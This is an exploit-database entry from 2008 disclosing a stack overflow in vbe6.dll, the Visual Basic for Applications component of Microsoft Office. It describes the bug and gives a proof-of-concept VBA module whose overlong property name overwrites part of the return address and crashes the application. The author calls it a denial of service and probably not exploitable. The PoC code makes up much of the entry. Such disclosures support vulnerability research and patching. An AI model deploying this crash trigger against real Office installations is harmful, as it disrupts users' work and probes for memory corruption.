Visual Basic - 'vbe6.dll' Local Stack Overflow (PoC) / Denial of Service

Author: Marsu
type: dos
platform: windows
port: 
date_added: 2008-03-29 
date_updated:  
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

Stack overflow in vbe6.dll, (used by all versions of MS Office)
The overflow occurs in Visual Basic for Application.
Creating a property with a long name ( about 247 chars) results in a stack overflow in vbe6.dll which overwrites with a null byte the first byte of the return address.

Probably impossible to exploit, but who knows? ^^ At least, there still exist stack overflows in Office apps :P

Marsu <Marsupilamipowa@hotmail.fr>

Module1.bas:

Attribute VB_Name = "Module1"

Public Property Get aaabcdefghissssssaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabdaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaasssssssssssssssssssssssssssssssssssssssssssssssssssade() As Variant

End Property

# milw0rm.com [2008-03-30]